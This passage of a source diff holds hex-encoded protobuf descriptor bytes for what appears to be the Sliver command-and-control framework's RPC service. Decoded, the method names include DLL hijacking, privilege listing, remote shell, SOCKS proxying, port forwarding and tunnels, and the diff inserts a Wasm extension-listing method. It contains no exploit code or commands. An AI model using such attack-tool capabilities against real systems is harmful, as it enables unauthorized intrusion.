0x6d, 0x6d, 0x61, 0x6e, 0x64, + 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, + 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, + 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, + 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, + 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, + 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, + 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, + 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, + 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, + 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, + 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, + 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, + 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, + 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, + 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, - 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, - 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, - 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, - 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, - 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, + 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, + 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, + 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, - 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, - 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, - 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, - 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, - 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, - 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, - 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, - 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, - 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, - 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, - 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, - 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, - 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, - 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, - 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, + 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, + 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, + 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, + 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, + 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, + 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, + 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, + 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, + 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, + 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, + 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, + 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x44, 